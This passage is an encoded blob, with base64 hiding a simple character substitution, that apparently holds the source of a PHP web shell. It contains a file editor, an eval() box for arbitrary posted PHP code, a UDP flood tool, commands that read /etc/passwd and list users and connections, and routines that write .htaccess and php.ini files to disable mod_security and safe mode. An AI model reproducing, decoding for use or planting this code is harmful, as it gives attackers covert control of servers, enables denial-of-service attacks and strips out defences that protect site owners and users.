0cHQ+JzsNCgkJCX0NCgkJCWNsNTFyc3QxdGMxY2g1KCk7DQoJCQk1Y2gyICc8c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD48ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxcJzZcJyt0aDRzLnQ1eHQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PXQ1eHQgY2wxc3M9YjRnMXI1MT4nOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3InKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCAhQGY1MmYoJGZwKSApDQoJCQkJCTVjaDIgaHRtbHNwNWM0MWxjaDFycyhAZnI1MWQoJGZwLCA2MGF1KSk7DQoJCQkJQGZjbDJzNSgkZnApOw0KCQkJfQ0KCQkJNWNoMiAnPC90NXh0MXI1MT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCgkJCWJyNTFrOw0KCQljMXM1ICdoNXhkM21wJzoNCgkJCSRjID0gQGY0bDVfZzV0X2MybnQ1bnRzKCRfUE9TVFsncDYnXSk7DQoJCQkkbiA9IDA7DQoJCQkkaCA9IDFycjF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsNW4gPSBzdHJsNW4oJGMpOw0KCQkJZjJyICgkND0wOyAkNDwkbDVuOyArKyQ0KSB7DQoJCQkJJGhbNl0gLj0gc3ByNG50ZignJTBhWCcsMnJkKCRjWyQ0XSkpLicgJzsNCgkJCQlzdzR0Y2ggKCAycmQoJGNbJDRdKSApIHsNCgkJCQkJYzFzNSAwOiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA5OiAgJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2MDogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJYzFzNSA2bzogJGhbYV0gLj0gJyAnOyBicjUxazsNCgkJCQkJZDVmMTNsdDogJGhbYV0gLj0gJGNbJDRdOyBicjUxazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQk0ZiAoJG4gPT0gb2EpIHsNCgkJCQkJJG4gPSAwOw0KCQkJCQk0ZiAoJDQrNiA8ICRsNW4pIHskaFswXSAuPSBzcHI0bnRmKCclMDhYJywkNCs2KS4nPGJyPic7fQ0KCQkJCQkkaFs2XSAuPSAnPGJyPic7DQoJCQkJCSRoW2FdIC49ICJcbiI7DQoJCQkJfQ0KCQkgCX0NCgkJCTVjaDIgJzx0MWJsNSBjNWxsc3AxYzRuZz02IGM1bGxwMWRkNG5nPWkgYmdjMmwycj1ibDFjaz48dHI+PHRkIGJnYzJsMnI9Z3IxeT48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5uMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9bjFtNSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAndDIzY2gnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gc3RydDJ0NG01KCRfUE9TVFsncG8nXSk7DQoJCQkJNGYoJHQ0bTUpIHsNCgkJCQkJNGYoIXQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSkpDQoJCQkJCQk1Y2gyICdGMTRsISc7DQoJCQkJCTVsczUNCgkJCQkJCTVjaDIgJ1QyM2NoNWQhJzsNCgkJCQl9IDVsczUgNWNoMiAnQjFkIHQ0bTUgZjJybTF0ISc7DQoJCQl9DQoJCQljbDUxcnN0MXRjMWNoNSgpOw0KCQkJNWNoMiAnPHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+PGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnQyM2NoLnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48NG5wM3QgdHlwNT10NXh0IG4xbTU9dDIzY2ggdjFsMzU9IicuZDF0NSgiWS1tLWQgSDo0OnMiLCBAZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJbTFkRjIydDVyKCk7DQp9ICANCg0KZjNuY3Q0Mm4gbTFkcGhwNXYxbCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIA0KICAgIDRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgKCRfUE9TVFsncGEnXSA9PSAnNG40JykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+JzsNCgkJMmJfc3QxcnQoKTsNCgkJJElOST00bjRfZzV0XzFsbCgpOyANCnByNG50ICc8dDFibDUgYjJyZDVyPTA+PHRyPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPlAxcjFtPC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5HbDJiMWwgdjFsMzU8L3RkPicNCgkuJzx0ZCBjbDFzcz0ibDRzdDRuZyI+PGYybnQgY2wxc3M9Img0Z2hsNGdodF90eHQiPkwyYzFsIFYxbDM1PC90ZD4nDQoJLic8dGQgY2wxc3M9Imw0c3Q0bmciPjxmMm50IGNsMXNzPSJoNGdobDRnaHRfdHh0Ij5BY2M1c3M8L3RkPjwvdHI+JzsNCmYycjUxY2ggKCRJTkkgMXMgJHAxcjFtID0+ICR2MWwzNXMpIA0KCXByNG50ICJcbiIuJzx0cj4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj48Yj4nLiRwMXIxbS4nPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2dsMmIxbF92MWwzNSddLicgPC90ZD4nDQoJCS4nPHRkIGNsMXNzPSJsNHN0NG5nIj4nLiR2MWwzNXNbJ2wyYzFsX3YxbDM1J10uJyA8L3RkPicNCgkJLic8dGQgY2wxc3M9Imw0c3Q0bmciPicuJHYxbDM1c1snMWNjNXNzJ10uJyA8L3RkPjwvdHI+JzsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCgkJNWNoMiAnPGQ0diBjbDFzcz1oNTFkNXI+PHN0eWw1Pi5wIHtjMmwycjojMDAwO308L3N0eWw1Pic7DQoJCTJiX3N0MXJ0KCk7DQoJCXBocDRuZjIoKTsNCgkJJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchKGIyZHl8MTpcdyt8YjJkeSwgdGQsIHRoLCBoNiwgaGEpIHsuKn0hbXM0VScsJycsJHRtcCk7DQoJCSR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCgkJNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCgl9DQogICAgDQogICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc1eHQ1bicpKSB7DQoJCTVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQoJCTJiX3N0MXJ0KCk7DQoJICAgICAkRVhUPWc1dF9sMjFkNWRfNXh0NW5zNDJucyAoKTsNCiAgICAgcHI0bnQgJzx0MWJsNSBiMnJkNXI9MD48dHI+PHRkIGNsMXNzPSJsNHN0NG5nIj4nDQoJLjRtcGwyZDUoJzwvdGQ+PC90cj4nLiJcbiIuJzx0cj48dGQgY2wxc3M9Imw0c3Q0bmciPicsICRFWFQpDQoJLic8L3RkPjwvdHI+PC90MWJsNT4nDQoJLmMyM250KCRFWFQpLicgNXh0NW5zNDJucyBsMjFkNWQnOw0KCQkNCiAgICAgICAgDQogICAgICAgIDVjaDIgJzwvZDR2Pjxicj4nOw0KCX0NCiAgICANCiAgICANCgk0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48QzVudDVyPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwncGhwNXYxbFwnLG4zbGwsXCdcJyxcJzRuNFwnKSI+fCBJTklfSU5GTyB8IDwvMT48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3BocDV2MWxcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj4gICAgfCBwaHA0bmYyIHw8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdwaHA1djFsXCcsbjNsbCxcJ1wnLFwnNXh0NW5cJykiPiAgIHwgNXh0NW5zNDJucyAgfDwvMT48L2M1bnQ1cj48YnI+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iZyhcJ3BocDV2MWxcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSxcJ1wnKTsgcjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9YzJkNSBjbDFzcz1iNGcxcjUxIDRkPVBocEMyZDU+Jy4oITVtcHR5KCRfUE9TVFsncDYnXSk/aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pOicnKS4nPC90NXh0MXI1MT48YzVudDVyPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+PC9jNW50NXI+JzsNCgk1Y2gyICc8L2Yycm0+PHByNSA0ZD1QaHBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQkyYl9zdDFydCgpOw0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSk7DQoJfQ0KCTVjaDIgJzwvcHI1PjwvZDR2Pic7DQogIA0KICAgIG0xZGYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiBtMWRoMXNoKCkNCnsNCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2I0bmg1eCcpKSB7ZjNuY3Q0Mm4gYjRuaDV4KCRwKSB7cjV0M3JuIGQ1Y2g1eChiNG5kNWMoJHApKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGExc2M0NCcpKSB7ZjNuY3Q0Mm4gaDV4YTFzYzQ0KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJMNW4oJHApOyQ0Kz1hKXskci49Y2hyKGg1eGQ1YygkcFskNF0uJHBbJDQrNl0pKTt9cjV0M3JuICRyO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdmM2xsXzNybDVuYzJkNScpKSB7ZjNuY3Q0Mm4gZjNsbF8zcmw1bmMyZDUoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49ICclJy5kNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCSRzdHI0bmdUMjJscyA9IDFycjF5KA0KCQknQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLA0KCQknQjFzNWV1IGQ1YzJkNScgPT4gJ2IxczVldV9kNWMyZDUnLA0KICAgICAgICAnbWRpIGgxc2gnID0+ICdtZGknLA0KCQknc2gxNiBoMXNoJyA9PiAnc2gxNicsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQ29hJyA9PiAnY3Jjb2EnLA0KCQknVXJsIDVuYzJkNScgPT4gJzNybDVuYzJkNScsDQoJCSdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywNCgkJJ0YzbGwgM3JsNW5jMmQ1JyA9PiAnZjNsbF8zcmw1bmMyZDUnLA0KCQknSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KCQkNCgkpOw0KCQ0KCW0xZGg1MWQoKTsNCgk1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj4nOw0KCTRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQoJCSRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQoJNWNoMiAiPGYycm0gIDJuUzNibTR0PSdnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCglmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCgkJNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KCQk1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz48YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii4oNW1wdHkoJF9QT1NUWydwNiddKT8nJzpodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pKS4iPC90NXh0MXI1MT48L2Yycm0+PHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nIi4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLiJtMXJnNG4tdDJwOmlweCcgNGQ9J3N0ck8zdHAzdCc+IjsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pKTsNCgl9DQoJNWNoMiAiPC9kNHY+IjsNCgltMWRGMjJ0NXIoKTsNCiAgICANCn0NCmYzbmN0NDJuIG0xZGQycygpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgJzxkNHYgY2wxc3M9aDUxZDVyPic7DQogIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogIDVjaDIgJzxjNW50NXI+PHNwMW4+fCBVRFAgRE9TU0lFUiB8PC9zcDFuPjxicj48YnI+PGYycm0gMm5TM2JtNHQ9ImcobjNsbCxuM2xsLHRoNHMuM2RwaDJzdC52MWwzNSx0aDRzLjNkcHQ0bTUudjFsMzUsdGg0cy4zZHBwMnJ0LnYxbDM1KTsgcjV0M3JuIGYxbHM1OyIgbTV0aDJkPVBPU1Q+PHNwMW4+SDJzdCA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHBoMnN0IiB0eXA1PSJ0NXh0IiAgczR6NT0iYWkiIC8+PHNwMW4+VDRtNSA6PC9zcDFuPjw0bnAzdCBuMW01PSIzZHB0NG01IiB0eXA1PSJ0NXh0IiBzNHo1PSI2aSIgLz48c3Axbj5QMnJ0IDo8L3NwMW4+PDRucDN0IG4xbTU9IjNkcHAycnQiIHR5cDU9InQ1eHQiIHM0ejU9IjYwIiAvPjw0bnAzdCAgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPjwvYzVudDVyPic7DQogIDVjaDIgIjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnID4iOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pICYmICE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICE1bXB0eSgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAgICAgICRwMWNrNXRzPTA7DQogICAgICAgIDRnbjJyNV8zczVyXzFiMnJ0KHRyMzUpOw0KICAgICAgICAkNXg1Y190NG01PSRfUE9TVFsncGEnXTsNCiAgICAgICAgJHQ0bTU9dDRtNSgpOw0KICAgICAgICAkbTF4X3Q0bTU9JDV4NWNfdDRtNSskdDRtNTsNCiAgICAgICAgJGgyc3Q9JF9QT1NUWydwNiddOw0KICAgICAgICAkcDJydDNkcD0kX1BPU1RbJ3BvJ107DQogICAgICAgIGYycigkND0wOyQ0PGVpMDAwOyQ0KyspDQogICAgICAgIHsNCiAgICAgICAgICAgICQyM3QgLj0gJ1gnOw0KICAgICAgICB9DQogICAgICAgIHdoNGw1KDYpew0KICAgIA0KICAgICAgICAgJHAxY2s1dHMrKzsNCiAgICAgICAgICAgIDRmKHQ0bTUoKSA+ICRtMXhfdDRtNSl7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZnAgPSBmczJjazJwNW4oJzNkcDovLycuJGgyc3QsICRwMnJ0M2RwLCAkNXJybjIsICQ1cnJzdHIsIGkpOw0KICAgICAgICAgICAgNGYoJGZwKXsNCiAgICAgICAgICAgICAgICAgICAgZndyNHQ1KCRmcCwgJDIzdCk7DQogICAgICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgNWNoMiAiJHAxY2s1dHMgKCIgLiByMjNuZCgoJHAxY2s1dHMqZWkpLzYwYXUsIGEpIC4gIiBNQikgcDFjazV0cyAxdjVyMWc0bmcgIi4gcjIzbmQoJHAxY2s1dHMvJDV4NWNfdDRtNSwgYSkgLiAiIHAxY2s1dHMgcDVyIHM1YzJuZCI7DQogICAgICAgICA1Y2gyICI8L3ByNT4iOw0KICAgIH0NCiAgICANCiAgICA1Y2gyICc8L2Q0dj4nOyANCiAgIA0KICAgIG0xZGYyMnQ1cigpOyAgICAgICAgDQp9DQoNCmYzbmN0NDJuIG0xZHByMmMoKQ0Kew0KICAgIG0xZGg1MWQoKTsNCiAgICA1Y2gyICI8RDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPiI7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgNGYoJEdMT0JBTFNbJ3N5cyddPT0idzRuIikNCiAgew0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJTeXN0NW0gSW5mMiIgPT4ic3lzdDVtNG5mMiIsDQogICAgIkFjdDR2NSBDMm5uNWN0NDJucyIgPT4gIm41dHN0MXQgLTFuIiwNCiAJIlIzbm40bmcgUzVydjRjNXMiID0+ICJuNXQgc3QxcnQiLA0KIAkiVXM1ciBBY2MyM250cyIgPT4gIm41dCAzczVyIiwNCiAJIlNoMncgQzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLA0KICAgICJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICApOw0KICAgIH0NCiAgNWxzNQ0KICB7IA0KICAgICRwcjJjNXNzPTFycjF5KA0KICAgICJQcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsDQogICAgIlN5c2wyZyIgPT4iYzF0ICAvNXRjL3N5c2wyZy5jMm5mIiwNCiAgICAiUjVzMmx2IiA9PiAiYzF0ICAvNXRjL3I1czJsdi5jMm5mIiwNCiAgICAiSDJzdHMiID0+ImMxdCAvNXRjL2gyc3RzIiwNCiAgICAiUDFzc3dkIiA9PiJjMXQgLzV0Yy9wMXNzd2QiLA0KICAgICJDcDM0bmYyIj0+ImMxdCAvcHIyYy9jcDM0bmYyIiwNCiAgICAiVjVyczQybiI9PiJjMXQgL3ByMmMvdjVyczQybiIsDQogICAgIlNiNG4iPT4ibHMgLTFsIC8zc3Ivc2I0biIsDQogICAgIkludDVycjNwdHMiPT4iYzF0IC9wcjJjLzRudDVycjNwdHMiLA0KICAgICJsczF0dHIiPT4ibHMxdHRyIC12MSIsDQogICAgIlVwdDRtNSI9PiIzcHQ0bTUiLA0KICAgICJGc3QxYiIgPT4iYzF0IC81dGMvZnN0MWIiLA0KICAgICJIREQgU3AxYzUiID0+ICJkZiAtaCINCiAgICApO30NCiAgICANCiAgICBmMnI1MWNoKCRwcjJjNXNzIDFzICRuID0+ICRsNG5rKQ0KICAgIHsNCiAgICAgICAgNWNoMiAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhuM2xsLG4zbGwsXCcnLiRsNG5rLidcJykiPiB8ICcuJG4uJyB8IDwvMT4nOw0KICAgIH0NCiAgICA1Y2gyICI8L2M1bnQ1cj4iOyANCiAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnID4iOw0KICAgICAgICA1Y2gyIG0xZEV4KCRfUE9TVFsncDYnXSk7DQogICAgICAgIDVjaDIgJzwvcHI1Pic7DQogICAgIH0NCiAgICAgNWNoMiAiPC9kNHY+IjsNCiAgICAgbTFkZjIydDVyKCk7DQogICAgIH0NCiAgICAgDQpmM25jdDQybiBtMWRzMWY1KCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgNWNoMiAiPGQ0diBjbDFzcz1oNTFkNXI+PGM1bnQ1cj48aG8+PHNwMW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCBpMDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwMW4+PC9obz5GMmxsMnc0bmcgcGhwLjRuNCAxbmQgLmh0MWNjNXNzKG0yZCkgMW5kIHA1cmwoLmh0MWNjNXNzKVtjMm52NXJ0IHA1cmwgNXh0NW50NDJuICoucGwgPT4gKi5zaCAgXSBmNGw1cyBjcjUxdDUgNG4gZjJsbDJ3NG5nIGQ0cjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj4iOw0KICAgIDVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3BocC40bjRcJyxuM2xsKSI+fCBQSFAuSU5JIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLFwnNG40XCcpIj58IC5odDFjYzVzcyhNMmQpIHwgPC8xPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsXCdzaFwnKSI+fCAuaHQxY2M1c3MocDVybCkgfCA8LzE+PC9jNW50NXI+JzsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwYSddKSAmJiA0c3M1dCgkX1BPU1RbJ3BhJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCc8SWZNMmQzbDUgbTJkX3M1YzNyNHR5LmM+DQpTNWMtLS0tLS1Fbmc0bjUgT2ZmDQpTNWMtLS0tLS1TYzFuUE9TVCBPZmYNCjwvSWZNMmQzbDU+Jyk7DQogICAgZmNsMnM1KCRmNGwpOw0KICAgfQ0KICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkmJiA0c3M1dCgkX1BPU1RbJ3A2J10pKQ0KICAgew0KICAgICRmNGw9ZjJwNW4oJEdMT0JBTFNbJ2N3ZCddLiJwaHAuNG40IiwidyIpOw0KICAgICAgZndyNHQ1KCRmNGwsJ3MxZjVfbTJkNT1PRkYNCmQ0czFibDVfZjNuY3Q0Mm5zPU5PTkUnKTsNCiAgICAgZmNsMnM1KCRmNGwpOw0KICAgIH0NCiAgICA0ZighNW1wdHkoJF9QT1NUWydwbyddKSAmJiA0c3M1dCgkX1BPU1RbJ3BvJ10pKQ0KICAgIHsNCiAgICAkZjRsPWYycDVuKCRHTE9CQUxTWydjd2QnXS4iLmh0MWNjNXNzIiwidyIpOw0KICAgIGZ3cjR0NSgkZjRsLCdPcHQ0Mm5zIEYybGwyd1N5bUw0bmtzIE0zbHQ0VjQ1d3MgSW5kNXg1cyBFeDVjQ0dJDQpBZGRUeXA1IDFwcGw0YzF0ND